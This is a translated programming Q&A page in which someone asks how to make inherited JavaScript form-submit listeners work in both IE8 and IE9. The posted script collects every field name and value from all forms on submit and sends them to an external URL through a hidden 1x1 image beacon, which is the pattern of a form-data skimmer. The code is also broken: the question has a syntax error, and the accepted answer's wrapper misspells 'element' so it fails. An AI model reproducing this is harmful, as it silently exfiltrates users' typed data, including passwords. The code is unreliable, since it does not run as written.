CrossBrowser Js Listener

时间:2013-06-16 10:29:25

标签: javascript javascript-events

好的,所以目前这是我从我的前任那里发现的并且代码已经停止工作所以我的工作是修复它或者至少修补它。

我想简单地将其压缩成一个较小的函数,以检测要使用的事件监听器。

// EI 9

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].addEventListener('submit', function() {
       //working fine 

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid           
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL" POST);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

// IE8

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].attachEvent('onsubmit', function() {
       //working fine 

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid           
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL POST");
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

1 个答案:

答案 0 :(得分:0)

如果你使用这个包装器

function addEvent(element,theEvent,handler) {
  if(element.addEventListener) elemenet.addEventListener(theEvent,handler);
  else if(element.attachEvent) elemenet.attachEvent("on"+theEvent,handler);
}

您可以在两种情况下使用

addEvent(formsCollection[i],'submit', function() { ... });